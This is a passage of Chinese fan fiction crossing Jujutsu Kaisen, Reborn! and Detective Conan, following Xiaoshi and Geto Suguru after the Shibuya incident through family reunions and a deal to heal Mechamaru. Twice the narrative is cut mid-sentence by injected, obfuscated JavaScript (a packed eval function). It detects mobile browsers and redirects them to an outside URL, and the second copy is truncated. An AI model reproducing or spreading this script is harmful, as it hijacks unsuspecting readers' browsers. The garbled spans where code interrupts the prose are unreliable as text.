“不是反转术式,是家传小偏方。”在她开口前小莳就主动解释,“不知道为什么你们打起来了,但是按理说还是你先闯进来的,这样理直气壮可不行。根据我对伙伴的了解,他不会主动动手的。” 他超爱咒术师。是很不讲道理的那种,电视剧里的皇帝“救不了你们太医院就陪葬”的那种,真的想毁灭世界的那种。 “……嗯,好像是这样。但是刚刚真人闯进来的时候和他说话了。” 小莳眨眼:“真人?” “就是,蓝色的,全身都是缝合线的……” “可是我已经把他袚除了诶,在地下通道,”小莳指往来处,“一分钟前。” “啊咧。” “这边的这个是分身,大概是想带这位同学去地下汇合以后用本体进行转化。分身不具备转化能力,只能自己变形,大概。”夏油杰也慢步过来分析。 “……”钉崎野蔷薇愣住。 小莳知道关于大脑袋的情报,这时便想到应该是真人认错了导致的,小时候看这集叫做真假美猴王,但夏油杰好像和咒术界有不少纠葛,暂时还是先不要说太多,她随口忽悠:“可能是迷惑你的手段,类似于大街上突然窜出来一伙人说是捉奸其实是把人塞上车拐卖的那种,真人可是很邪恶的。” “……”是这样吗? “……”差点信了。 发生了很多事,不再纠结立场,钉崎野蔷薇问了下一个问题:“你说你袚除了真人,你也是咒术师吗?” 这女孩反应好快,果然最后还是要用那个。幸好她随身带在身上。 “不完全是,事情比较复杂,我接下来还有事处理,你去问五条悟好了。”击鼓传花,传回去,反正五条悟是一种天下谁人不识君的状态。 “不是,你们--” 小莳离开这个棕发女学生几步远,赶紧拉着同伴,“快走快走。”迅速离开战场。此刻的时间来到十一点半。 在顺利结束涩谷之行前,小莳想起了关于夏油杰两个娃的事情。他们又去了地铁站看看。乘帝女雀在宽敞的街道上飞驰,几个小时前她还在羡慕别人的猫头鹰,现在她也失而复得。 还开了领域,亲手袚除了讨厌的家伙。 还能回并盛。 真好。 不过夏油杰的两位亲眷已经不在原地,看来七海是个有始有终的人,抑或者是她们没丧失行动能力,自己逃走了。小莳回头看身后的夏油杰,他面色如常,看出不情绪。 他应该挺失望的,她想,于是提出转移话题的建议:“那我们出去找个地方吃饭,然后联系家里?” “……” “我知道你想说什么,但是涩谷美食之旅也要有始有终嘛,拉面怎么样?” 对于进食,夏油杰不太在意,现在他也毫无胃口,于是顺了小莳的意,点头。 “好耶,那等出帐以后我看看周边有什么店。” 两人并行几步路,几分钟后夏油杰率先停下,小莳转头去看他时,他看着前方的夜空说:“帐消失了,有信号了。” “这是不是就说明诅咒师和咒灵的邪恶阴谋已经被顺利粉碎了?”小莳对于事件的中心仍然一知半解,她只是根据已有的经验和信息做出推测。 夏油杰亦如是,不过他精于此道,比小莳又多出一大截阅历。事到如今应该算尘埃落定:“嘛,八九不离十。” “好好好,今天又是涩谷和平的一天。”一不小心就参与了新世界的主线剧情,还取得了圆满成功,这种事还是比较值得高兴的。小莳想到此直接掏出手机,然后招呼自家造物把双肩包还给自己,从里面翻找出了五条悟曾写下手机号的照片:“时间卡点如此巧妙,我干脆直接打电话问候一下五条悟了,你觉得呢?” “……” 小莳没等来同伴的回应,双手夹着照片翻转着准备塞回包里,上头的号码她已经记下。 “等等,”夏油杰出言阻止。他眉眼间的惊疑与焦急让小莳莫名其妙,小莳低头看照片另一边被突然伸出的手揪住,她选择松手,没计较对方突然失礼的举动。 夏油杰把照片拿在手里,小莳静待他想说什么。 过了有一会,他把照片递到她面前,指着其上的人物问:“她,是谁?” 小莳偏头看,他问的是理子。 几个小时之前五条悟也问了相同的问题,松垮下来的脑组织因为今晚接连两次的巧合重新严丝合缝地牵线搭桥,神经元上重启酣畅淋漓的接力赛。眼前五条悟的故人再提及,仅仅称辩为偶然就说不过去了。 “今天几乎一直是夏油在问问题,不如你先说一下你、理子还有五条悟之间的联系?”小莳偏头,双手叉腰要求夏油杰坦白。 他恍然:“五条悟?也对,那是他亲手写的字,他不可能没看见照片。” 涩谷宽敞的街道有朝一日也能产生废弃的荒芜感,至少在今夜,繁华都化作泡沫,正如夏油杰内心所想的一样,世事无常。 他和眼前的女孩说起了往事,他也曾经在咒术高专读书,是五条悟同届,他们以前是朋友,保护天内理子的任务是两人的第一次失败,子弹穿过太阳穴,一击毙命。 这个故事如果被画成漫画一定能狠狠收获眼泪和刀片。 小莳讲话一向分轻重缓急,这个时候首先要说:“安心,她现在每天都很快乐,我有叮嘱我哥稍微照料她,我哥和她所在传媒的总裁认识。米花町除了江湖气息浓厚和警备力量跟不上之外也没什么别的不好。”报喜不报忧。 然后才是:“3000w也太少了吧,能决定边境守护力量存续的基石居然这么廉价?” 最后,鉴于提起五条悟的时候此人奇怪的脸色,她问了自己最关心的问题:“那你是怎么死的?不会是被挚友亲手--啊,我懂了。”就是她想的那样,少年意气,亲友反目,相当经典的意难平剧情,反正最后都会有一些不可抗力因素造成的难以逾越的鸿沟。 也许是相隔两世,再提起旧事,也不那么不堪回首。夏油杰忽视了小莳最后的问题,只回答了关于天内理子的那部分,简要补充:“那是2006年,而且理子从一开始就只是被放出来的诱饵,高层有其他仍在暗处的星浆体备选。” “……”两个棋子一个弃子,被掮客戏法玩弄的三个提线木偶,小莳听罢也失语。她拍了拍夏油杰的手臂以示安慰,就算身为某个领域的强者也难以摆脱□□弄被算计的命运,人生难免会遇到这样的事情。 过会小莳说起了天内理子的近况,她成了爱豆,最近经纪人姐姐给她拍的vlog又吸引了很多粉丝,她们像是在玩一场未来注定光明的模拟经营游戏,连花店的小哥看到她和理子都会偷偷多塞一束花,理子喜欢买不同颜色的发带,但是戴得最多的还是经典款白色,她爱读书,重视友情,并享受作为普通人的每一天。 “她在米花町的生活,还是值得期待的。” 夏油杰低低嗯了一声。 又过一会,他停下脚步,小莳一个没注意撞到他,她想到一些往事。3000w,赏金猎人,被小鬼干掉,御三家,要素这么齐全,再想不出来就是先前无量空处的不礼貌了。 打电话的事情先放一放,吃饭也晚点再想:“在此之前,我想问一下,你说的那个先把五条悟打个半死,再把你打个半死的男人,他不会恰好姓伏黑吧?” 夏油杰的笑意凝固在脸上,也对,有一些故去的人会前往异世界重新活下去,算来理子和那人的忌日也是同一天,他轻声询问:“那么伏黑甚尔和你的关系是?” 咒术界真小啊,小莳在心里感慨着,她面上波澜不惊,没有表情,目视前方:“哦,那是我前男友。” 拉面没吃成,小莳在几公里外的街头买到了蒜香黄油面包。在寒风路灯下,以夏油杰为背景板,用夏油杰的手机给自家兄长打了电话。 正好是那边的下午四点。 “喂,夏油君,有什么事情吗?”仍然年轻的彭格列声音里透露出一点疲惫。 “喂?是信号不好吗?抱歉夏油君,我在开会,关于波维诺家族的人事关系,蓝波现在满18岁……” 两年不见,小莳能听出案牍劳形并没有摧毁他的心识,总是眉头紧锁,宛如祈祷般挥动拳头的兄长,怎么会拒绝能和平解决问题的路径?会议扯皮再劳苦,只要能不动干戈,便值得欢欣。 她打断了有关于蓝波在两个家族里被争来争去的相关烦心事:“阿纲,是我。蓝波有长到180吗?如果没有的话他得帮我做三件事,你知道他两年前一直谎报身高,我反正对‘男人至死180’这种猪话很不屑一顾,嗯?” “……!!!”电话里传来一阵乱七八糟的声音,她盲猜是有人摔倒了。等到背景音彻底安静下来,她和许久没联系的兄长进行了一番跨越半个地球的叙旧。 挂电话已经是10多分钟后的事情。 夏油杰站在暗处看灯光下小莳的侧脸,见她脸上的表情被灯光照得明明灭灭,家族羁绊,亲友重联。 他看到一个被神明赐福的人,她所得的眷顾正是他所缺,可他也生不出妒怨。 “接下来回并盛?” “sorry,有些步骤实在不能节约,我猜测1分钟就好。”得给XANXUS也打个电话,他要是挂了那就是他不识好歹,和她没关系。小莳给自己的人情世故打满分。 1分钟以后,两人并排坐上飞鸟特快。 小莳开启匣子,召唤出奈亚,挑了个感到舒适的姿势抵在他怀里,她向夏油杰说明:“肿胀之女一旦变身,就会有24小时没办法再次召唤,虽然你还没有问,但是我没有纳西索斯情节,也没有神话里这样那样的恋爱情节。” “不,我是想问你怎么袚除真人的。” “……”好吧,小莳摆出一个手势,五指相对,拇指和其他手指的连接口呈现三角形的空洞,精神奕奕:“轰隆轰隆咔冈咔冈地,就展开了领域。然后秒了。我想把他引回去的时候发现有人闯入,不然真人说不定就归你所有了。”说来还有些遗憾。 夏油杰也打了哈欠,最近工作强度有点大:“哦?这能力让你忌惮,你却肯把他赠与初识者?” “阿纲相信你,我也就相信你,而且说到这里,我觉得我们会很合得来,这是直觉哦~” “是么。” “嗯哼。” “小莳还有印象领域展开的感觉吗?” “要说的话,大概有一些。时间过得很慢,让我看到了灵光一现……如果一定要说的话,有点像有人一罐萤火虫放飞在完全漆黑的房间里,而我得在规定时间内把它们一一捕捉。在那之后,流萤踊跃成灯,一切就明亮起来。你以前做过和尚吗?”地铁站里的脑袋身上穿着五条袈裟,不知道是不是这一年他用别人的身体做了奇怪的事情。 她突然跳跃的思维让夏油杰想到自己干蟹脚头头那些年,有些心虚:“没有……服装只是工作需要。” “总之,用一句话说:‘钱塘江上潮信来,今日方知我是我’大概是这种感觉吧。”危机解除,小莳感到疲惫,不然她一定会让夏油杰细说工作需要。眼下既然对方的职业没解锁,她就又做了些百科上就能查到的额外说明:“是小说里一个和尚圆寂写的偈语,意思是经历了潮汐涨落,才知道自己是谁。善恶爱恨,五蕴皆空后方才窥见真我。这种哲学命题一向深奥,我毕竟还是个孩子,懂不了一点佛法高深,但会在某个时刻洞明一些真理,差不多就是这样。” 过了一会,夏油杰好像才反应过来,说“不,这很了不起。”却没再有回音,他转头看去,小莳已闭上双眼,平稳的呼吸起起伏伏,进入酣眠。 她醒来的时侯夏油杰和奈亚已经把控航向多回--天上信号不好,得去地面对导航,才能再次出发。听说只有20多公里,她放弃了休憩,啃面包。 小莳给不熟悉云雀恭弥的夏油杰编排家族成员:“吵到恭弥的话会被凝结成怨念的起床气沉痛打击,简直像是古代登闻鼓面圣前先挨一顿打。为了维护情谊和我的睡眠,今天见一下草璧先生就到此为止,明天起床先回家,然后再去风纪集团地下拜谒并盛皇帝。” 草璧是真没睡。 一家集团在每个月月底发生什么时候都有可能,同理于窗口服务者下班前的一分钟、医生换班前的最后一个病人、下课前老师强势挽留“我再讲最后一个知识点”。更何况还碰到了民众喜欢玩闹的节日。 万圣节也是打工仔的鬼节。 她问风纪财团的枢纽:“草璧先生,在你流泪又擦眼泪的30秒,是在为我的归来而喜极而泣,还是在幸灾乐祸自己不是深夜加班的独一人?” “……” “……” “不说了,反正我也不在意你的回答,困觉去了。以及,很高兴重新见到你,以后的日子也请多指教。” 归乡前,在帝丹上课摸鱼的时候,她偶然读到一句诗,其中说到月寒日暖。可今宵从并盛人烟中升起的溶溶月,是暖的。 第二天的生物钟无人签收,小莳醒来的时候已是日……如果没记错庭院的方位,那应该是西边的阳光,日上三竿在此也不合时宜。一掏手机,下午三点,它可怜的10%警告覆盖了20%,实时电量落到了7%。 无所谓,反正她也没有充电器。 床边放好了衣服,奈亚不在。 这黑耀校服一看就是某个名字里带雀的男人却被黄雀在后的产物。六道骸回来了? 穿戴整齐到会客室,小莳惊讶:“好多人啊。” 在说更多之前,由于违反了并盛皇帝颁布的风纪法典--具体表现为穿上了黑耀校服,小莳被判处极刑,因为有哥在场,她放弃了冤有头债有主的六道骸,躲到泽田纲吉身后。 嘴里却蹦出大不敬的御前失仪之辞:“嫂子,你看看我的脸,你真的讨厌我吗?你看看我,我不信你两眼空空!” 嗯,看大家的反应,不同的世界享有着差不多的寡嫂文学。 风纪集团的维修必定不走彭格列的账,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413112|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是人情往来就难说了,山本武在晚饭时间郁闷地向她倾诉:“本来今天应该是我的。” 而被夹在在山本武的抱怨和危机化解之间的3小时罅隙中,小莳也日理万机。 她先买了手机,电话卡就交给草璧解决。 在不是饭点的时间里吃不到家里的菜,是东亚规则类怪谈的共享内容。晨昏定省是封建余孽,孝心也要排在一天的第一顿饭后。 所以第二步是吃拉面。 …… 这拉面店新来的帮厨怎么有点像米花町的花店小哥,就是会自掏腰包多给理子和她塞几种花的那个。 顺便他的时薪只有700,身份是失学少年,他的一句“只要能吃饱饭就一切都好,没什么值得忧愁”让小莳记到现在。 他和灰原哀对物质追求的程度加和再平均,差不多是高级白领的水平--灰原哀可是凭借着赤司家医药企业的关系卖了不少专利的,消费水平也极高。 之所以说到灰原哀,是因为那个小哥恰巧也同姓。 灰原哀锐评过:“灰原这个姓氏是杜撰的,在这方面你可以更六亲不认一点,小莳。” 但这会小莳又开始做认亲中介:“你是不是有个兄弟在异世界特别擅长裁包装纸啊?” 米花町的花店生意不可谓不好,人去医院会收到花,结婚如果不幸伴侣去世下次再结婚那就是定两次花,动不动有宴会又需要花,顺便一提葬礼也是需要的。 而这700日元的小伙子一旦拿到裁纸刀……小莳回忆着他仿佛长了八只手的裁纸包花装饰能力……一个极品廉价劳动力的形象又出现在她面前。 “赤司小姐!” 哈哈,看来不是异世界同位体是本人。 平地摔可是她哥和少女漫的独门绝技,灰原雄酱紫是要付版权费的。 所以说,在不幸偶遇前男友和他新关系人的那一天,小莳还隔着玻璃看见了灰原雄的忙碌打工,而在那之后也不过过了区区几天,有个准确率较高的答案呼之欲出。 “有没有一种可能,灰原你很久以前是个咒术师?”不对,在此之前她还有个更好奇的问题,“你现在时薪多少?先回答后一个问题。” 被问问题的少年不好意思地挠头:“只是帮工而已,昨晚过来的时候能被吉野拉面收留有个住的地方我已经很知足,哪里好意思谈什么薪酬。” 啊,有一种《极品廉价劳动力,转生,然后成为家庭主妇》的抑郁,这样的漫画和轻小说在名字出来的时候就要被编辑毙掉了。 不幸中的万幸,这孩子要是掉到帐里,总感觉会被吃干抹净,说不定最后还能以一种欧亨利的方式减轻体重,昨天的涩谷可是有栩栩如生,不对,生龙活虎,好像这词也不对,总之生动案例1234。 算了,能每天早上起床打工已经很棒了。 “好吧,过会我有点事,先不聊。”好感度介于认识和朋友之间的灰原雄,重要程度在小莳这里被“唯一养过她的母亲”衬得一文不值。 灰原雄一个非常讨喜的地方就是他真的会尊敬所有人,即使被好奇心支配,只要他人提出要求,他就真的乖乖不问。 在整齐的座位到后厨门帘间,竖列着5排桌子,即使在非高峰时期其中的2桌也是占用状态,这也正是小莳选择进来的原因。而这短暂的距离他回了三次头,却什么也没问。 又元气又乖,感觉像是app-20,温顺程度+20的理子。(app=appearance,外貌) 面条是热烫烫的,听说直接食用容易口腔癌。小莳是心如磐石的,即便这样也不愿意寒暄。“哦什么你也是咒术师”“我不是啊”“那是怎么一回事呢?” 然后就会和下班前的最后一个病人一样,下不了班。 不过见面三分情……正好昨天刚认识了一个咒术师关怀协会的成员,她愿意使用人生中零散的几分钟,借用店里的座机打给风纪集团--她的手机卡要回去找草璧要。 要知道恭弥这会还在生气呢,按理说她要再过三天才能主动联系他。 “喂,恭弥吗?” 电话挂了。 她就说吧。 再次拨打,接电话的人是草璧,问他要了夏油杰的电话。 “喂?你在哪?” “小莳,你打的是我的临时办公室座机。” “对哦,你真聪明,这里有一个给聪明人的好消息。或许你有时间听听?” 原本温柔的声音因为小莳的闲聊态度附着上发自本心的哀怨,像怪谈里逐渐露出真实面目的美艳鬼怪:“昨晚只有我们两个在涩谷,如果你不在写报告,那么……” “是这样的,你听说过灰原雄这个名字吗?没听说过也没关系,我来给你介绍一下,他是我的老相识,aka几个月前新开的吉野拉面店帮工,哦对,差点忘了最重要的,他以前还做过一阵子咒术师。我就说这年头跨行业的人多吧,昨天我还见到个从咒术跨到金融那去的,不过我猜测那多半是靠着他一头天生的金毛。崇洋媚外的俗情该改改了,华尔街又不在丹麦。”小莳绕着电话线,低声和夏油杰讲着有趣的事情,“好啦,因为我要回家,我猜你也会想知道这个信息,就特地打电话来说明一下,你知道这个电话一定是恭弥办公室给我的,刚刚他火冒三丈的时候你也在场,那你就该知道我付出了多少才成功拨通。我劝你在像青少年黑化之前珍惜我的善心。” “你在哪?” 小莳结束一顿饱餐时,付钱的人来了。 “我也没带钱。” “都是咒术师,你给他画饼吧,或者你在这洗碗,我晚上带着赎金接你回家?”小莳不信夏油杰没带手机,这店里早开通银行卡支付了。 夏油杰:“……” 第三件事就是回了家。 这下知道下午唯独缺席的雷守在哪里了。 排名风太的排名中,蓝波心里在意的第一人是泽田奈奈。 小莳那时就知道他是个彻彻底底的妈宝男。 但是排名前三的位置有个属于她本人,而与之相应在她心中蓝波的排名……她捂住了风太的嘴免于暴露,端水大师の自我修养,但她心里清楚,给蓝波的排名得在十名开外。 开公司暴露职工薪水差的电视剧她恰好看过,算了,不提也罢,上次恋爱就是被那女主演绿的。 温柔的母亲一点也没惊讶于小莳的突然出现,这才是她啊,丈夫失踪十年她也没发现什么。 没什么不好承认的,小莳有时会沉迷无论做什么都会包容的感觉,让她产生不存在的记忆:羊水、梦乡、婴儿的襁褓。 她四岁的时候才来这世界,一切不过是错觉,但这并不代表她停止会有关母亲的幻象。 也许命运的大部分馈赠也许确实在开始就定标好了价格,但那不是全部,小莳可学过反证法。 她也没有办法相信不存在的东西,而她相信爱。 她见过爱。 爱归爱,东亚家庭的规则仍然存在。 一个小时以后。 为了避免:“为什么不吃晚饭”“因为不饿,下午四点吃过”“为什么要在餐前吃东西”“因为昨晚睡得晚,起得晚。”“我就说你不该熬夜。” 37°的嘴里讲出善意的谎言:“工作忙,我这两个小时是我带薪摸鱼跑出来的,集团有免费的晚餐,我去找恭弥蹭蹭,晚上回来睡觉~” 妈妈真好,也不问她为什么16岁高一就离家打工2年,还在风纪集团是本地企业的情况下2年过家门而不入。 算了,她还愿意相信婴儿能胜任家庭教师,并且在儿子成绩三年没有任何起色的情况下坦然接受了这一点,教科书级别的天然呆。 45. 第 45 章 接下来的几天小莳都没有想起咒术师。 也许她想起来过,可转头就忘掉了。 并盛是个不大不小中庸正好的城镇,乘匣兵器绕一圈不过十来分钟,但若要用双脚去丈量便要更久。乡愁为它覆盖了高于实际情况的魅力,她清醒地乐在其中。 之前提及过的,轻重缓急。 现在最重要的果然还是好好享受并盛的拥抱,更何况瓦利亚的全员也来到日本,与小莳相聚。 彭格列意大利总部惊现大规模翘班,随机吓死一个入江正一。小莳把这件事当成乐子和夏油杰分享,总结出一条道理:“干人事工作倒霉一辈子。” 然后还问起灰原雄,夏油杰说他打算就这样做个普通人,小莳笑问有没有意向让他进彭格列,可以给门外顾问和后勤部门添砖加瓦,比如:做人事。 夏油杰:…… 根据世界融合的一般定律,接下来两个世界的超自然中坚部队根据利益划分还有的谈,意大利那边九代目余威犹在,他老人家年过60,退休的守护者们一经召集也都各自发挥力量,很快在入江正一的协助和泽田纲吉的全权授权下高效推进着。 目前彭格列总部已经划分了新的机构,咒灵袚除部,正在和意大利本地咒术师部门建立友好交流。这个世界是这样的,当你足够强大,别人不敢轻举妄动之余,也会展现出友善的面貌。 而日本这边就……首先要说起天元结界,想要和日本咒术界友好沟通,对方有个条件就是将并盛纳入天元的加固结界中。 云雀恭弥……不同意。 十几年前的彭格列十代目也只是昔日校霸口中的草食动物,现在不良少年头头又成了本土地头蛇风纪财团的掌权者。 所以说事情还有的谈。 小莳倒不介意,“按照意大利那边的消息,可以从西西里调人来并盛。安居乐业的小地方本来也没办法给咒灵提供太多养分。” 夏油杰觉得她过分乐观,“首先,只有日本这个地方特产咒术师,外国在这方面极不入流。” “这不就靠你了,夏油。听说你要定居并盛了?” “……” “政治问题很肮脏,日本这边又喜欢阶级分明的层层影响。你猜在讨论对外事务之前,御三家之间的利益分配处理好了没?我可见过太多家族里面不同派系互相扯后腿攻讦牵制的案例,立场太多,若是连依托后背的伙伴都不值得信赖……”说到政治,小莳摇了摇头,PVE和PVP差别还是大的,不能混为一谈,她掸了掸身上不存在的灰尘,“领导者能看到多远的路,就会有什么样的风格,而若是目盲耳聋的人手握权力,那股指哪打哪的力量会发挥到哪里呢?让真正热爱这片土地的人掌权,目前大家都觉得并盛还是简单点好。” 首先,天元是多年前要吸收理子的家伙,小莳开局就不信任这位,其次,咒术界让她联想到错漏百出的代码,即使仍然在正常运行,也依旧十分不可靠。 就算要外包也要选择干活又快又好价格还便宜的公司,这可是人力资源管理的常识。 最后她问他:“难不成你要回东京那个火坑?” “那应该是是死刑起步。”夏油杰抬手抵着下巴,思考了一会,得出结论。 “呜哇,一下用春风般的语气说出了很吓人的话,你以前是什么很糟糕的人吗?” 他举了个例子:“以小莳的评判标准来说,应该是,像是你昨天和我说的有人想要炸掉双子摩天楼,并且不管里面民众安危的事情,我做过更过分的。” 夏油杰这就不是想说话的态度,小莳才不惯着他,“啊真是糟糕,你好朋友最强不捞一捞吗?” “你忘了吗?去年,就是他亲手把我干掉的。” 小莳从眼镜架上移开目光,她现在试戴着款式土土的镜框,配上表情说不出的滑稽,把夏油杰逗笑了。 这下她知道这个不好看了,摘下放回,目光却没离开夏油杰,皱眉想了一会,又因为恍然大悟而舒展:“果然,从第一次见面我就发现你并不完全坦诚,也话里有话。” “什么话?” 小莳用一种奇妙的目光打量了他,然后随手拿起一副金边墨镜试戴,“即使在只有我们两个人的时候,你的话也只有一半是对我说的,其余只面向自己。你呀你,开始我一度怀疑是不是有什么幻想好友,到头来只是在苛待自己。” “……” “你有的时候会让我想起我那没长嘴的前男友。去找你的挚友聊聊吧,你从我这得不到答案。”小莳朝他wink一下,“你觉得这副怎么样?” “……” “最近一周我都有不少时间上网,你现在的症状就很像我在社交平台上看到的那个……还不走么?夏油君,我要说了哦,真的要说了哦?”小莳在给夏油杰一个落荒而逃的机会,他没有把握,小莳半是遗憾半是兴奋地念台词:“明知道被揭穿会感受到羞辱,但是一点也没有落荒而逃的意思,不会真给你爽到了吧夏油杰?” 小莳决定买下这副墨镜,以后遇到不想对话的对象,就墨镜一戴谁都不爱。 夏油杰脾气是挺好,这都不跑:“怎么看出来的?” 她把这墨镜支架拿在手里甩着转圈,言语轻浮:“嘻嘻,因为我是天才。” ……不要学贝尔说话。 “你有一种鸵鸟埋沙的美。”小莳付了账,出门就扯掉标签带上墨镜,“但是你应该知道逃不掉的,我们在商场白吃白喝了一圈,还路过了电影院,最后在星空下漫步,你说咒术师们会有多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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人与人之间的交往存在尴尬期,也就是双方还没了解彼此的边界和习惯的左右试探时期,经此一次,夏油杰算是稍微了解了小莳的脾性,虽然不知道为什么对方好像一直对他很了解的样子,但先归结于彭格列血脉外的超直感好了…… 小莳很享受岁月静好的日子,接下一周安排了七八场不同议程的会议。除了彭格列和风纪财团的内部会议,对外的她一次都没有参加。 其中对外会议大部分是和咒术界相关,夏油杰也不参加。 某天晚上被充满怨气的现雾守六道骸搅了清梦,小莳起床就去找夏油杰赏月,夏油杰亦未寝。 “你看,每天夜里都有月亮,只是在哪都缺少像我们这样的闲人罢了。” “……”不,大小姐,只有你一个闲人。 忽如一夜梦回高专,大半夜被挚友因无关紧要的事情叫醒的日子历历在目。真不怪别人把她当代餐。 夏油杰已经联系上了此世的家人,发现收养的两个女孩果然被咒术师抓捕,审判的日期因为新势力的出现一推再推,遥遥无期,暂时安全。 这会他已经不想毁灭世界了,那就和家人们还有很多要聊的,还有菜菜子美美子的营救……总之遗留事项一大堆,这个点还没睡绝非是在玩手机。 夏油杰觉得不行,得给小莳找点事做。 46. 第 46 章 第二天他听从草璧的建议带小莳去见了机械丸,本名与幸吉的天与咒缚者。 “能让草璧动容,他一定有点悲伤的故事。”这是小莳在路上对夏油杰说的初步推断。 在这种事上夏油杰已经学会了习惯,她总猜的八九不离十。 如果世上真的有神明,那泽田小莳就是神眷之人。但果然还是不要有神明比较好,如果祂存在,这世界还是这样,就太令他觉得可笑了。 在真正看到浑身绷带泡在药液里的人类时,小莳觉得伏黑甚尔也不是那么凄惨,此时此地,还有个生活不能自理的残疾咒术师。 在听完他凭借准一级的实力想要单挑真人和大脑袋的时候,小莳给他打上了自信boy的标签。 “他是特级,旁边还有个阴险狡诈的特级,你是刚治好顽疾的二级。我没理解错吧?”有胆识封印五条悟,而且在小莳看来真的有很大概率成功,那个占用夏油杰身体的家伙如此值得警惕,在眼前的与幸吉口中就好像不是什么当头大难,对敌我差距完全错估了啊。 即使泡在药水里也要艰难反驳:“是准一级。” 小莳:“嗯好好好,们咒术师的等级就像身高的180。知道了,准一级。” 与幸吉:“……” 夏油杰:“……” “你要怎样才能治好我?” 小莳笑着提出条件:“很简单,要你的身体。在此之后,你的身体,只要我需要,就得为我所用,如何?” 当年库洛姆就是这么和骸约定的,今日一见,小莳突发奇想也想给自己找个小弟。至于用不用得上是另一回事。 “……” 小莳不是没看见这人隔着绷带传递出的抗拒,她自顾自地接着说:“自从和真人一战,这十天来我也对咒术有了些理解,在这个世界上--灵魂和□□也许是统一的也说不定,既如此,你的灵魂我也一并笑纳了。” “开什么玩笑!”绷带下颤抖的身躯渗出血液,小莳咂舌,此人真是孱弱。 夏油杰也没料到这番反派发言。 “你清醒一点,这样的身体已经跟随了你十几年,情况除了你没人能更清楚。世界上能改变现状的不过五人,你运气好,遇上了三个都在并盛的--”小莳停顿片刻,笑里带着了然的嘲讽,一条一条将情况剖白:“如果你有足够多的钱,草璧早就会给你和玛蒙牵线了,可惜你没有;如果你的身份足够重要,十代目会亲自请求骸先生,可惜你没有。你看,最后兜兜转转,不就只能草璧-杰-我了吗?” 她的语气里带上了嘲讽:“感恩吧,与幸吉先生,你还有草璧先生愿意拉你一把,不然我到现在都不会知道世上有你这个人。” 幻术修复身体可是项大工程,一般术士做不来,更何况这身天与咒缚的情况较一般残疾更为棘手--俗世中永没有救治的可能,一旦接下就像背负一笔每月按揭直到人生结束的债务。 她这条件至少也是季末清仓的水准。 草璧想说些什么缓和一下气氛,小莳瞥了他一眼,他立刻噤声,将想好的维持和谐的说辞堵在腹中。 小莳走近他沐浴的药缸,仰头看一眼监护仪的数值,病人目前处于情绪激动心跳加速的身体水平,再快点它就会响起医疗警报了,她居高临下,声音不大,内容却直击听者的心:“再说了,你这样匹夫之勇的二五仔,世上哪还有你的容身之处呢?若你还是这副糟糕的身体状况,最后能收留你的不也只有彭格列和风纪集团,说白了你也唯有两个选择而已,1.付出点代价,得到点东西;2.像残次品一样在仓库里折旧。” “想想吧,我只是要你的身体,如果我要做什么坏事可不会事先布下帐,你还可以提前打电话给五条悟嘛!” 这场景让小莳想起了讨价还价,福至心灵,她想起绝妙的一招杀价技巧,那就是转身离开告诉店家【我再去其他店逛逛,真可惜啊,只差一点点我们就成交了。】 于是竖起食指中指向缸中之人点点,“再见~” 小莳离开病房的时候示意夏油杰顺手关上门,两人走在狭窄的走廊中,一盏盏明亮的头顶灯投射下不同角度的影子游弋。 “小莳也有说话这么不留情面的时候,还是和需要帮助的初见者,真是罕见。” “杰,人与人之间,交往是交往,生意是生意。”小莳回到了平日里懒懒散散的状态,“谈生意就要更加杀伐果决,你难道没有发现我刚刚和与幸吉君讨论的样子很像在小商场里面的讨价还价吗?” “……不,只觉得原来你也有这么不讲情面的面相。”老实说除了惊讶,还有几分后怕。一双洞察人性的眼,配上能说出刻薄字眼的唇舌,若有一天目标变成自己,怕是不妙。 夏油杰心知肚明自己做过的事情要比机械丸糟糕的多。 小莳走着就停下脚步,靠在一边的墙壁上,还伸脚拦住夏油杰:“杰你是那种会胡思乱想的青春期小朋友,放心,你已经是伙伴了,和与幸吉不同。如果有什么事情的话大家都会帮你的哦~” “我已经28岁了。”“工作除外。” 两人异口同声。 夏油杰:好险,差点就感动了。 小莳:28岁但破碎感,好好好你至死是少年。 两人继续并排走,“我觉得草璧很快会来找我,我们要不走慢点。” 风纪集团和彭格列的地下基地比邻而建,中间只有一扇所有人都知道密码的门,1827。 夏油杰曾经问过这是不是和彭格列的建立年份有关,得到了小莳的解答,仅仅只是名字和数字的谐音梗。18是云雀,27是纲吉。1827就是……他对恋爱脑不太敏感,也不理解。 “话说与幸吉和那个叫三轮霞的妹子,好纯爱,是我喜欢看的小说类型。可惜他的ai没电了,那个咒骸做出来就是和本体切断链接的状态,没办法再联系。”卡在重要关头停刊,小莳十分期待后续。 “不,纯爱也--”一年前的战场PTSD要犯了。 “不懂纯爱的我只能说永别了--你不会没谈过恋爱吧?!”今日最大新闻堂堂出土,马上发消息告诉蓝波。 “小莳,你在一瞬间露出了很恶心的表情。” 认识不到一个月,夏油杰解锁吐槽役新身份,那个叫铃木园子的异世界同学没有胡言乱语。 草璧在小莳按下18以后气喘吁吁出现。 小莳给夏油杰一个“我就说吧”的得意眼神,雄赳赳气昂昂走回头路,然后和他科普:“你知道机械丸对的咒力范围可以蔓延整个日本吗?如果并盛町能像安装监控摄像头一样安装咒灵检索装置,会极大减少人力资源损耗,我觉得傀儡可以派上大用场。” 他侧目,原来讨价还价指的是这个。 “因为按道理说草璧的朋友们,我是可以无偿治疗的,可这次不一样,匹夫无罪。。天凉了,让与幸吉君给并盛打工吧!” “……”那机械丸也太倒霉了。 “毕竟,”小莳的蓝色眼睛亮晶晶,欢腾的笑意在其中闪烁,她对夏油杰说,“并盛是我家嘛,我不太信任吸收人类的天元,总感觉这种有点偏向邪魔外道……而且你知道理子是个很可爱的女孩,从和她的交往中能感受到欣欣向荣的生命活力,她绝无可能愿意为这种东西牺牲。” 